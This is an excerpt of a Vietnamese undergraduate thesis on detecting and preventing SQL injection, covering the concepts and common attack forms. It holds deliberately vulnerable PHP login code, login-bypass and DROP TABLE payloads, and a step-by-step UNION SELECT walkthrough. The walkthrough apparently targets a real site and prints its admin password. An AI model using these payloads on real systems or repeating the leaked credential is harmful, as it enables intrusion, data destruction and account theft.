Tải bản đầy đủ (.pdf) (69 trang)

Phát hiện và ngăn chặn tấn công bằng SQL INJECTION vào cơ sở dữ liệu sử dụng web service

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (3.1 MB, 69 trang )

BỘ GIÁO DỤC VÀ ĐÀO TẠO
TRƯỜNG ĐẠI HỌC NHA TRANG
KHOA CÔNG NGHỆ THÔNG TIN
_______________________________


KHÓA LUẬN TỐT NGHIỆP ĐẠI HỌC
NGÀNH CÔNG NGHỆ THÔNG TIN



GVHD: Th.S NGÔ VĂN CÔNG
SVTH: VĨNH THÁI CƯỜNG
LỚP: 49-THM
MSSV: 4913071009



NHA TRANG -NĂM 2011

Đề tài :

Phát hiện và ngăn chặn tấn công bằng SQL
INJECTION vào cơ sở dữ liệu sử dụng Web service
LỜI NHẬN XÉT CỦA GIÁO VIÊN HƯỚNG DẪN
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………


……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
…………………………………………………………………………………………
LỜI NHẬN XÉT CỦA GIÁO VIÊN PHẢN BIỆN
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………

……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
……………………………………………………………………………………………
MỤC LỤC

CHƯƠNG 1 : TỔNG QUAN VỀ SQL INJECTION 8
1.1 Đặt vấn đề 8
1.1.1 Đặc trưng của các ứng dụng sử dụng cơ sở dữ liệu 8
1.1.2 Tính chất nghiêm trọng của các cuộc tấn công. 9
a) Các thống kê lịch sử 9
b) Các thống kê an ninh 10
1.2 SQL Injection. 13
1.2.1 Khái niệm SQL Injection 13
1.2.2 Nguyên nhân gây ra lỗi SQL Injection 14
a) Không kiểm tra dữ liệu đầu vào 14
b) Xử lý không đúng kiểu 14
c) Lỗi bảo mật bên trong máy chủ cơ sở dữ liệu 15
1.2.3 Tác hại từ các cuộc tấn công SQL Injection 16

1.3 Tổng kết chương 16
CHƯƠNG 2 : CÁC HÌNH THỨC TẤN CÔNG SQL INJECTION PHỔ BIẾN 18
2.1 Các hình thức tấn công SQL Injection phổ biến 18
2.1.1 Vượt qua kiểm tra lúc đăng nhập (Bypass Login) 18
2.1.2 Dạng tấn công thu thập thông tin dựa trên các phản hồi từ database. 20
a) Tìm điểm yếu của website 20
b) Tìm kiếm các thông tin về cơ sở dữ liệu 21
c) Tìm kiếm trang quản trị 26
d) Tiến hành phá hoại 26
e) Kết luận 26
2.1.3 Blind SQL Injection 27
2.1.3.1 Thực hiện tấn công Blind SQL Injection dựa trên phản hồi 28
2.1.3.2 Thực hiện tấn công Blind SQL Injection dựa trên độ trễ truy vấn 30
2.1.4 Dạng tấn công sử dụng các stored-procedure. 32
2.1.5 Một số cách qua mặt bộ lọc đầu vào. 33
2.2 Cách phòng tránh SQL Injection 34
2.2.1 Về phía người quản trị website 34
2.2.2 Về phía server 36
2.3 Tổng kết chương 37
CHƯƠNG 3 : DỊCH VỤ WEB (WEB SERVICE) 38
3.1 Tìm hiểu về Web Service. 38
3.2 Đặc điểm của dịch vụ web 41
3.2.1 Đặc điểm 41
3.2.2 Ưu và nhược điểm 42
3.2.3 Kiến trúc của dịch vụ web 43
3.2.4 Các thành phần của dịch vụ web 45
3.2.4.1 XML – eXtensible Markup Language 45
3.2.4.2 WSDL - Web Service Description Language 46
3.2.4.3 Universal Description, Discovery, and Integration (UDDI) 47
3.2.4.4 SOAP - Simple Object Access Protocol 48

3.2.5 An toàn cho dịch vụ Web 50
3.2.6 Xây dựng một dịch vụ Web 52
3.2.7 Tích hợp dịch vụ Web theo chuẩn 53
3.3 Xây dựng một web service đơn giản 55
3.4 Tổng kết chương 59
CHƯƠNG 4 : PHÒNG CHỐNG SQL INJECTION BẰNG WEB SERVICE 60
4.1 Đặt vấn đề 60
4.2 Cơ sở lý thuyết 60
4.3 Nguyên tắc hoạt động 62
4.4 Triển khai thực tế. 63
4.4.1 Dịch vụ killChars 63
4.4.2 Dịch vụ Db_2_XML 64
4.4.3 Dịch vụ XPath_XML_Validation 65
4.4.4 Kiểm tra tính hiệu quả của web service. 66
4.5 Hướng phát triển 67
KẾT LUẬN 68


LỜI MỞ ĐẦU
Ngày nay, vấn đề bảo mật an ninh hệ thống mạng là một phần rất quan
trọng của các công ty, tập đoàn, các tổ chức cơ quan, chính phủ trong cuộc
sống xã hội hiện đại. Vấn đề an ninh và bảo mật là chìa khóa tất yếu thành
công trong các lĩnh vực kinh tế, chính trị, an ninh quốc phòng và góp phần
thúc đẩy sự phát triển toàn cầu nhanh chóng, liên kết khoảng cách địa lý,
không gian, thời gian các nơi trên thế giới gần với nhau mà vẫn đảm bảo được
an toàn.
Thông thường, các nhà phát triển đa số tập trung vào các vấn đề an toàn
trong việc chọn hệ điều hành, hệ quản trị CSDL, webserver sẽ chạy ứng dụng
gì, Ví dụ, người ta thường quan tâm nhiều đến các lỗ hổng về an toàn trên
Iternet Information Services (IIS) hơn là quan tâm đến các đoạn mã của ứng

dụng có tiềm ẩn các lỗ hổng nghiêm trọng hay không. Một trong số các lỗ
hổng này đó là SQL injection attack.
Tại Việt Nam, đã qua thời kì các quản trị website lơ là việc quét virus,
cập nhật các bản vá lỗi từ các phần mềm hệ thống, nhưng việc chăm sóc các
lỗi của các ứng dụng lại rất ít được quan tâm. Đó là lí do tại sao trong thời
gian vừa qua, không ít website tại Việt Nam bị tấn công và đa số đều là lỗi
SQL injection. Vậy SQL injection là gì ? Nguyên nhân ? Hậu quả ? Cách
phòng tránh ?
Được sự hướng dẫn
nhiệt tình và chu đáo của thầy Ngô Văn Công, trong 3
tháng làm đề tài tốt nghiệp, em đã tìm hiểu và nghiên cứu đề tài : “Phát hiện và
ngăn chặn tấn công bằng SQL INJECTION vào cơ sở dữ liệu sử dụng Web
service”.
Thông qua đề tài này, em muốn giới thiệu đến mọi người một cái nhìn tổng
quan về SQL Injection, khái niệm, nguyên nhân, hậu quả, các phương pháp tấn
công phổ biến, cách khắc phục … Từ đó, giúp cho các bạn trẻ mới bước vào thế
giới lập trình có nền tảng về vấn đề bảo mật, an ninh mạng, xây dựng được những
website có độ an toàn cao.
Đề tài của em cũng đề cập đến một loại hình đang phát triển thời gian gần
đây là Web Service (Dịch vụ mạng), ưu – nhược điểm, các thành phần chủ yếu,
cách xây dựng, bảo mật cho web service …
Từ đó, em kết hợp 2 vấn đề trên tạo nên một giải pháp phòng chống SQL
Injection mới bằng webservice. Đây là phương pháp hứa hẹn có thể giải quyết triệt
để các cuộc tấn công SQL Injection mà các phương pháp trước đây chưa hoàn thiện.
Trong phạm vi kiên thức của mình, em xin trình bày những hiểu biết của em
về “Phát hiện và ngăn chặn tấn công bằng SQL INJECTION vào cơ sở dữ liệu
sử dụng Web service”.” trong bài đồ án này.
Đồ án tốt nghiệp đại học GVHD: Th.S Ngô Văn Công

SVTH: Vĩnh Thái Cường - 49THM

Page 8

CHƯƠNG 1
TỔNG QUAN VỀ SQL INJECTION
1.1 Đặt vấn đề
1.1.1 Đặc trưng của các ứng dụng sử dụng cơ sở dữ liệu
Hiện nay, không khó để nhận ra rằng những ứng dụng phổ biến nhất và
chiếm thị phần cũng như doanh thu cao nhất đều là những ứng dụng hỗ trợ
tính năng quản lý. Dữ liệu là thứ sống còn trong mọi hoạt động nghiệp vụ
hiện tại. Chính vì lý do đó, các ứng dụng nghiệp vụ hiện tại đều xây dựng trên
những mô hình phát triển gắn liền với cơ sở dữ liệu. An toàn của dữ liệu phụ
thuộc vào độ bảo mật của ứng dụng web kết nối tới cơ sở dữ liệu.
Các mô hình phát triển ứng dụng Web hiện tại được sử dụng phổ biến
nhất là 3 tầng, ngoài ra còn có một số bản cải tiến, mở rộng mô hình này
nhằm những mục đích riêng.

Hình 1-1. Mô hình ứng dụng 3 tầng
Đồ án tốt nghiệp đại học GVHD: Th.S Ngô Văn Công

SVTH: Vĩnh Thái Cường - 49THM
Page 9


Hình 1-2. Mô hình ứng dụng 4 tầng
Các mô hình trên luôn có một số điểm chung, đó là database server
chỉ làm nhiệm vụ lưu trữ dữ liệu, database hồi đáp những truy vấn dữ liệu
được xây dựng theo chuẩn (ví dụ như SQL). Mọi thao tác xử lý dữ liệu input,
output của database server đều được ứng dụng web ở tầng Logic xử lý. Các
vấn đề an ninh phát sinh đa phần sẽ nằm ở tầng này.
1.1.2 Tính chất nghiêm trọng của các cuộc tấn công.

a) Các thống kê lịch sử
- Ngày 01/11/2005, một hacker tuổi vị thành niên đã sử dụng SQL
injection để xâm nhập trang chủ của một tạp chí an ninh thông tin Đài
Loan từ nhóm Tech Target và ăn cắp thông tin khách hàng.
- Ngày 13/01/2006, tội phạm máy tính Nga đã xâp nhập trang web của
chính phủ đảo Rhode và ăn cắp dữ liệu thẻ tín dụng từ những cá nhân
đã giao dịch với các cơ quan nhà nước.
- Ngày 29/07/2007, một tội phạm máy tính đã bôi nhọ trang web của
Microsoft tại Vương quốc Anh bằng SQL injection. Trang web The
Register của Anh đã dẫn lời phát ngôn viên của Microsoft thừa nhận
vấn đề này.
Đồ án tốt nghiệp đại học GVHD: Th.S Ngô Văn Công

SVTH: Vĩnh Thái Cường - 49THM
Page 10

- Vào tháng 1 năm 2008, hàng chục ngàn máy tính cá nhân đã bị nhiễm
một mã SQL injection tự động. Loại mã độc này đã khai thác một lỗ
hổng trong đoạn mã chương trình sử dụng Microsoft SQL Server
- Cuộc tấn công website BGD&ĐT www.moet.gov.vn ngày 27.11.2006
- Một trong những vụ tấn công SQL Injection nổi tiếng nhất là vụ tấn
công vào CardSystems Solutions.
b) Các thống kê an ninh
Theo WhiteHat - một tổ chức có uy tín trong việc nghiên cứu và hỗ
trợ các vấn đề an ninh mạng, SQL Injection nằm trong 10 lỗi bảo mật phổ
biến nhất hiện nay.
 10 lỗi bảo mật phổ biến gần đây nhất :

Hình 1-3. Thống kê 10 lỗi bảo mật phổ biến nhất (3/2008)


Đồ án tốt nghiệp đại học GVHD: Th.S Ngô Văn Công

SVTH: Vĩnh Thái Cường - 49THM
Page 11


Hình 1-4. Thống kê 10 lỗi bảo mật phổ biến nhất (2/2009)
 Thời gian trung bình cần để khắc phục các lỗ hổng bảo mật :

Hình 1-5. Thống kê thời gian trung bình khắc phục các lỗ hổng bảo mật (8/2008)
Đồ án tốt nghiệp đại học GVHD: Th.S Ngô Văn Công

SVTH: Vĩnh Thái Cường - 49THM
Page 12


Hình 1-6. Thống kê thời gian trung bình khắc phục các lỗ hổng bảo mật (2/2009)
 Tỉ lệ lỗ hổng bảo mật thường xuyên bị khai thác :

Hình 1-7. Thống kê tỉ lệ lỗ hổng bảo mật thường xuyên bị khai thác (2/2010)


Đồ án tốt nghiệp đại học GVHD: Th.S Ngô Văn Công

SVTH: Vĩnh Thái Cường - 49THM
Page 13

1.2 SQL Injection.
1.2.1 Khái niệm SQL Injection
SQL injection là kĩ thuật tấn công web lợi dụng lỗ hổng trong việc

kiểm tra dữ liệu đầu vào của ứng dụng web và các thông báo lỗi của hệ quản
trị cơ sở dữ liệu.
Nó cho phép kẻ tấn công chèn vào các đoạn mã SQL bất hợp pháp
với mục đích khai thác lỗ hổng bảo mật tồn tại trong cơ sở dữ liệu của một
ứng dụng. Lỗ hổng bảo mật này có thể xuất hiện khi ứng dụng không có sự
kiểm tra chuỗi ký tự đầu vào trong câu truy vấn SQL, hoặc do sự định kiểu
đầu vào không rõ ràng, hay do lỗi cú pháp SQL của lập trình viên khiến cho
một đoạn mã độc hại có thể được xử lý ngoài ý muốn.
SQL Injection là một dạng tấn công dễ thực hiện, hầu hết mọi thao
tác người tấn công cần được thực hiện với một trình duyệt web, có thể kèm
theo một ứng dụng proxy server. Chính vì đơn giản như vậy cho nên bất cứ ai
cũng có thể học cách tiến hành một cuộc tấn công. Lỗi bắt nguồn từ mã nguồn
của ứng dụng web chứ không phải từ phía database, chính vì thế bất cứ thành
phần nào của ứng dụng mà người dùng có thể tương tác được để điều khiển
nội dung (ví dụ : các form, tham số URL, cookie, tham số referrer, user-agent,
…) đều có thể được sử dụng để tiến hành chèn truy vấn có hại.
Lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản lí
bằng các hệ quản trị CSDL như MySQL, SQL Server, Oracle, DB2, Sysbase

Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như
Internet Explorer, FireFox, Chrome, Netscape, Lynx,
Đồ án tốt nghiệp đại học GVHD: Th.S Ngô Văn Công

SVTH: Vĩnh Thái Cường - 49THM
Page 14

1.2.2 Nguyên nhân gây ra lỗi SQL Injection
a) Không kiểm tra dữ liệu đầu vào
Đây là dạng lỗi SQL Injection xảy ra khi thiếu đoạn mã kiểm tra dữ
liệu đầu vào trong câu truy vấn SQL. Kết quả là người dùng cuối có thể thực

hiện một số truy vấn không mong muốn đối với cơ sở dữ liệu của ứng dụng.
Câu lệnh sau sẽ minh họa lỗi này:


statement = "SELECT * FROM users WHERE user_name = '" + userName + "';"
Câu lệnh này được thiết kế để trả về các bản ghi tên người dùng cụ thể
từ bảng những người dùng. Tuy nhiên, nếu biến userName được nhập theo
một cách có chủ ý, nó có thể trở thành một câu truy vấn SQL với mục đích
khác hẳn so với mục đích của đoạn mã trên.
Ví dụ, ta nhập vào giá trị của biến userName như sau :

' or '1'='1
Khiến câu truy vấn có thể được hiểu thành :
SELECT * FROM users WHERE name = '' or '1'='1';
Nếu đoạn mã trên được sử dụng trong một thủ tục xác thực thì sẽ bắt
buộc phải lựa chọn một tên người dùng hợp lệ bởi điều kiện '1'='1' luôn đúng.
b) Xử lý không đúng kiểu
Lỗi SQL injection dạng này thường xảy ra do lập trình viên định nghĩa
đầu vào dữ liệu không rõ ràng hoặc thiếu bước kiểm tra và lọc kiểu dữ liệu
Đồ án tốt nghiệp đại học GVHD: Th.S Ngô Văn Công

SVTH: Vĩnh Thái Cường - 49THM
Page 15

đầu vào. Điều này có thể xảy ra khi một trường số được sử dụng trong truy
vấn SQL nhưng lập trình viên lại thiếu bước kiểm tra dữ liệu đầu vào để xác
minh kiểu của dữ liệu mà người dùng nhập vào có phải là số hay không. Ví
dụ như sau :
statement = "SELECT * FROM data WHERE id = " + id_ + ";"
Ta có thể nhận thấy một cách rõ ràng mục đích của đoạn mã trên là

nhập vào một số tương ứng với trường id (kiểu số). Tuy nhiên, người dùng
cuối, thay vì nhập vào một số, họ lại nhập vào một chuỗi ký tự, và do vậy có
thể trở thành một câu truy vấn SQL hoàn chỉnh mới mà bỏ qua ký tự thoát. Ví
dụ, ta nhập vào giá trị của biến id_ là :

1;DROP TABLE users
Câu truy vấn sẽ trở thành :
SELECT * FROM DATA WHERE id=1;DROP TABLE users
Khi đó, nó sẽ thực hiện thao tác xóa toàn bộ bảng users ra khỏi cơ sở
dữ liệu.
c) Lỗi bảo mật bên trong máy chủ cơ sở dữ liệu
Đôi khi lỗ hổng có thể tồn tại chính trong phần mềm máy chủ cơ sở dữ
liệu, như là trường hợp hàm
mysql_real_escape_string()
của các máy
chủ MySQL. Điều này sẽ cho phép kẻ tấn công có thể thực hiện một cuộc tấn
công SQL injection thành công dựa trên những ký tự Unicode không thông
thường ngay cả khi dữ liệu đầu vào đã được kiểm soát.

Đồ án tốt nghiệp đại học GVHD: Th.S Ngô Văn Công

SVTH: Vĩnh Thái Cường - 49THM
Page 16

1.2.3 Tác hại từ các cuộc tấn công SQL Injection
Bằng cách chèn các mã SQL query/command vào input trước khi
chuyển cho ứng dụng web xử lí, kẻ tấn công có thể login mà không cần
username và password, remote execution, dump data và lấy root của SQL
server. Cho phép kẻ tấn công có thể thực hiện các thao tác xóa, hiệu chỉnh, …
do có toàn quyền trên cơ sở dữ liệu của ứng dụng.

Tác hại từ các cuộc tấn công SQL Injection còn tùy thuộc vào môi
trường và cách cấu hình hệ thống. Trong SQL Server, nếu ứng dụng sử dụng
quyền dbo (quyền của người sở hữu CSDL - owner) khi thao tác dữ liệu, nó
có thể xóa toàn bộ các bảng dữ liệu, tạo các bảng dữ liệu mới, … Nếu ứng
dụng sử dụng quyền sa (quyền quản trị hệ thống), nó có thể điều khiển toàn
bộ hệ quản trị CSDL và với quyền hạn rộng lớn như vậy nó có thể tạo ra các
tài khoản người dùng bất hợp pháp để điều khiển hệ thống của bạn.
1.3 Tổng kết chương
Dựa vào các thống kê trên có thể rút ra vài nhận xét về lỗi SQL Injection :
- Là một trong số những lỗi bảo mật phổ biến nhất.
- Xác suất gặp phải lỗ hổng bảo mật loại này trong một website là khá cao.
- Được sử dụng nhiều, lý do một phần bởi tính đơn giản, không đòi hỏi
nhiều công cụ hỗ trợ.
- Thời gian khắc phục các điểm yếu này thường khá lâu, do đó hậu quả
thường nặng nề hơn.
Trên thực tế, các cuộc tấn công SQL Injection thường nhắm đến các cơ
sở dữ liệu mang tính thương mại, ví dụ các website thương mại điện tử.
Thông thường, các cuộc tấn công này sẽ tiến hành sửa đổi nội dung của
Đồ án tốt nghiệp đại học GVHD: Th.S Ngô Văn Công

SVTH: Vĩnh Thái Cường - 49THM
Page 17

database đối tượng và chèn các đoạn mã JavaScript độc. Bản chất lỗ hỏng
SQL Injection là xuất hiện từ trong quá trình xử lý dữ liệu đầu vào của người
dùng bên trong mã nguồn, do chính thời gian bảo trì mã nguồn thường kéo
dài nên các lỗi SQL Injection cũng chậm được khắc phục triệt để.
Với tính nghiêm trọng của các cuộc tấn công, tính dễ thực hiện của một
cuộc tấn công đã khiến cho SQL Injection một thời từng là hiểm họa nghiêm
trọng đối với các giao dịch thương mại điện tử trên các ứng dụng Web được

phát triển thiếu an toàn. Hiện nay, việc nghiên cứu SQL Injection đã có hệ
thống và toàn diện hơn, mối nguy hiểm này đã giảm đi, nhưng số liệu thống
kê vẫn cho thấy vấn đề này còn chưa được giải quyết triệt để.
Ở nước ta, trong quá trình đào tạo, các lập trình viên ứng dụng Web
được đào tạo nhiều kiến thức và kỹ năng cần thiết, tuy nhiên các kiến thức về
bảo mật hầu như không được chú trọng đúng mức. Điều này vô hình chung
dẫn đến hệ quả là các sản phẩm của họ đều có nguy cơ mắc phải những vấn
đề về bảo mật, điều mà không đáng có nếu họ được trang bị tốt hiểu biết từ
đầu.






Đồ án tốt nghiệp đại học GVHD: Th.S Ngô Văn Công

SVTH: Vĩnh Thái Cường - 49THM
Page 18

CHƯƠNG 2
CÁC HÌNH THỨC TẤN CÔNG SQL INJECTION PHỔ BIẾN

2.1 Các hình thức tấn công SQL Injection phổ biến
2.1.1 Vượt qua kiểm tra lúc đăng nhập (Bypass Login)
Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng
nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của
ứng dụng web. Thông thường để cho phép người dùng truy cập vào các
website được bảo mật, hệ thống thường xây dựng trang đăng nhập để yêu cầu
người dùng nhập thông tin về tên đăng nhập và mật khẩu. Sau khi người dùng

nhập thông tin vào, hệ thống sẽ kiểm tra tên đăng nhập và mật khẩu có hợp lệ
hay không để quyết định cho phép hay từ chối thực hiện tiếp. Ví dụ, trong
trường hợp sử dụng PHP, người ta có thể dùng 2 trang : 1 trang để hiển thị
form nhập liệu và 1 trang khác để xử lý thông tin nhập vào từ phía người
dùng như sau :
- Trang nhập dữ liệu : login.php :
<form method="post" action="authentication.php">
Username<input type="text" name="user_name"
Password<input type="password" name="password"
<input type="submit" value="Login" />
</form>





Đồ án tốt nghiệp đại học GVHD: Th.S Ngô Văn Công

SVTH: Vĩnh Thái Cường - 49THM
Page 19

- Trang xử lý : authentication.php
$user_name = $_POST["user_name"];
$password = $_POST["password"];
$command = "select * from user where user_name='".$user_name."'
and password='".$password."'";
$result = mysql_query($command,$connect);
$row = mysql_fetch_array($result);
if ($row >0)
{ header("Location:controlpanel.php");}

else
{ header("Location:login.php");}

Điểm sơ hở trong đoạn mã xử lý nhập liệu trên nằm ở chỗ dữ liệu
nhập vào từ người dùng được dùng để xây dựng trực tiếp câu lệnh SQL.
Chính điều này cho phép tin tặc có thể điều khiển câu truy vấn sẽ được thực
hiện. Ví dụ, nếu người dùng nhập chuỗi sau vào trong cả 2 ô nhập liệu
user_name/password của trang login.htm là :
'OR'1'='1
Lúc này, câu truy vấn sẽ được gọi thực hiện là :
SELECT * FROM USER WHERE USER_NAME =''OR'1'='1' AND
PASSWORD= ''OR'1'='1'

Câu truy vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của bảng
USER và đoạn mã tiếp theo xử lí người dùng đăng nhập bất hợp pháp này
như là người dùng đăng nhập hợp lệ.


Đồ án tốt nghiệp đại học GVHD: Th.S Ngô Văn Công

SVTH: Vĩnh Thái Cường - 49THM
Page 20

2.1.2 Dạng tấn công thu thập thông tin dựa trên các phản hồi từ
database.
Thông thường, các database đều có tính năng thông báo lỗi xảy ra
trong quá trình truy vấn dữ liệu. Mục đích của tính năng này là giúp người
quản trị có thể dễ dàng nhận biết và sửa lỗi dễ dàng hơn. Tuy nhiên, nó lại là
một điểm yếu bị lợi dụng trong các cuộc tấn công SQL Injection.
Để thực hiện được kiểu tấn công này, kẻ tấn công phải có khả năng

sử dụng các câu lệnh SQL thông thường, biết cách lợi dụng sơ hở trong các
thông báo lỗi từ hệ thống để dò tìm các điểm yếu khởi đầu cho việc tấn công.
a) Tìm điểm yếu của website
Xét một liên kết bình thường sau :
/>

Hình 2-1. Trạng thái bình thường của website
Tuy nhiên, khi thay đổi liên kết trên bằng cách thêm ký tự ’ vào liên kết :
/>’
Đồ án tốt nghiệp đại học GVHD: Th.S Ngô Văn Công

SVTH: Vĩnh Thái Cường - 49THM
Page 21

Ta được một truy vấn không hợp lệ, database gửi thông báo lỗi cho
trình duyệt :
You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near '\' order
by id desc limit 10' at line 1



Hình 2-2. Trang web bị lỗi SQL Injection
Điều này giúp kẻ tấn công nhận biết được website này bị lỗi SQL
Injection. Chúng sẽ tiến hành khai thác thông tin từ điểm yếu này.
b) Tìm kiếm các thông tin về cơ sở dữ liệu
Sau khi đã tìm ra điểm lỗi của website, kẻ tấn công sẽ tiếp tục đào sâu
tìm kiếm thông tin hữu ích về cơ sở dữ liệu. Thứ tự các thông tin tìm kiếm
trước để phục vụ cho thông tin tìm kiếm sau.
 Tìm kiếm số cột :

Kẻ tấn công sẽ sử dụng câu lệnh ORDER BY để xác định số lượng
cột trong bảng. Mệnh đề ORDER BY được sử dụng để sắp xếp kết quả trả về
bởi truy vấn theo cột được chỉ định. Nếu cột đó không tồn tại, một thông báo
lỗi trả được trả về.
order by 1

Website vẫn hiển thị bình thường, vậy bảng hiện tại có ít nhất 1 cột,
ta tiếp tục tăng số cột dự đoán lên.
order by 2
{bình thường}
Đồ án tốt nghiệp đại học GVHD: Th.S Ngô Văn Công

SVTH: Vĩnh Thái Cường - 49THM
Page 22



order by 9 {bình thường}

order by 10 {báo lỗi}
Unknown column '10' in 'order clause'



Hình 2-3. Lỗi không tìm thấy cột
 Kết luận, số lượng cột trong bảng là 9.
 Tìm kiếm cột bị lỗi :
Kẻ tấn công sẽ sử dụng số lượng cột trong bảng tìm được ở trên là 9
để thực hiện bước tấn công tiếp theo. Mục đích của công việc này đó là tìm
cột có nội dung được hiển thị trên phản hồi, khi đó “nhúng” thông tin khai

thác được vào đó. Sử dụng các nội dung mang tính “chỉ điểm” cột có thể khai
thác được như sau :
union select 1,2,3,4,5,6,7,8,9

Database trả về kết quả câu truy vấn trên :

Hình 2-4. Các cột bị lỗi
 Thu được 2 con số là “3” và”5” là các cột bị lỗi.


Đồ án tốt nghiệp đại học GVHD: Th.S Ngô Văn Công

SVTH: Vĩnh Thái Cường - 49THM
Page 23

 Tìm kiếm phiên bản của hệ cơ sở dữ liệu đang sử dụng :
Mục đích của việc tìm kiếm phiên bản này là để kẻ tấn công xác định
các bước tấn công kế tiếp. Đối với mysql các phiên bản từ 5 trở lên, kẻ tấn
công có thể sử dụng câu lệnh trực tiếp để lấy thông tin về cơ sở dữ liệu, đối
với các phiên bản thấp hơn thì kẻ tấn công phải dùng phương pháp đoán tên
bảng và tên cột.
Kẻ tấn công sẽ thay vị trí số “3” trong câu truy vấn thành @@version
là câu lệnh để xác định phiên bản của hệ cơ sở dữ liệu đang sử dụng :
union select 1,2,@@version,4,5,6,7,8,9

Hình 2-5. Phiên bản của hệ quản trị cơ sở dữ liệu đang dùng

 Kết quả trả về : 5.1.56
Vậy phiên bản mysql đang sử dụng là 5.1.56, điều này là hết sức có
ích cho kẻ tấn công vì chúng có thể khai thác thông tin một cách dễ dàng hơn

rất nhiều.
 Tìm kiếm tên bảng :
Kẻ tấn công sẽ sử dụng hàm group_concat(table_name) kết hợp
truy vấn trong bảng information_schema.tables (là bảng chứa thông tin về
tất cả các bảng trong cơ sở dữ liệu) để tìm kiếm các bảng trong cơ sở dữ liệu :
union select
1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables
where table_schema=database()
Đồ án tốt nghiệp đại học GVHD: Th.S Ngô Văn Công

SVTH: Vĩnh Thái Cường - 49THM
Page 24

Kết quả trả về :
banner,dichvu,dmbn,entintuc,gioithieu,hoidap,khachhang,lienhe,loaisp,loai
sp1,online,quantri3,sanpham,shoppingcart,tailieu,tintuc,useronline



Hình 2-6. Các bảng trong cơ sở dữ liệu
Đây là các bảng có trong cơ sử dữ liệu của website. Kẻ tấn công nhận
thấy trong số này có bảng “quantri3” có khả năng là bảng chứa các thông tin
về người điều hành.
 Tìm kiếm tên cột :
Sau khi chọn bảng dữ liệu nghi vấn, kẻ tấn công sẽ thực hiện tìm
kiếm tên các cột có trong bảng. Để thực hiện điều này, kẻ tấn công sẽ sử dụng
hàm group_concat(column_name) và kết hợp truy vấn trong bảng
information_schema.columns (là bảng chứa thông tin về tất cả các cột trong
bảng). Đồng thời, kẻ tấn công cũng chuyển tên bảng “quantri3” tìm được ở
trên về dạng mã hex, tương ứng là “7175616e74726933” và thêm 0x vào

trước, trở thành “0x7175616e74726933” để phục vụ cho quá trình tấn công.
Truy vấn :
union select
1,2,group_concat(column_name),4,5,6,7,8,9 from
information_schema.columns where table_name=0x7175616e74726933
Kết quả thu được :
id,ten,matma,mail

Đồ án tốt nghiệp đại học GVHD: Th.S Ngô Văn Công

SVTH: Vĩnh Thái Cường - 49THM
Page 25


Hình 2-7. Các cột có trong bảng
 Đây chính là 4 cột trong bảng “quantri3”.
 Lấy thông tin :
Sau khi đã tìm được tên các cột trong bảng dữ liệu nghi vấn, kẻ tấn
công sẽ thực hiện việc lấy thông tin từ bảng này. Để thực hiện việc này, kẻ tấn
công sẽ sử dụng hàm group_concat(tên cột) và truy vấn ở bảng cần tìm. Ở
đây, để kết hợp việc lấy đồng thời cột “ten” và “matma”, kẻ tấn công sẽ sử
dụng group_concat(ten,0x7c,matma) - 0x7c là kí tự | trong hệ hex, dùng để
phân biệt cột “ten” và “matma”, không có nhiều ý nghĩa.
Truy vấn :
union select
1,2,group_concat(ten,0x7c,matma),4,5,6,7,8,9 from quantri3


Kết quả thu được :
admin|270799tuananh



Hình 2-8. Thông tin tài khoản người quản trị
 Đây chính là kết quả cuối cùng mà kẻ tấn công cần tìm - tài khoản của
người quản trị mạng website

×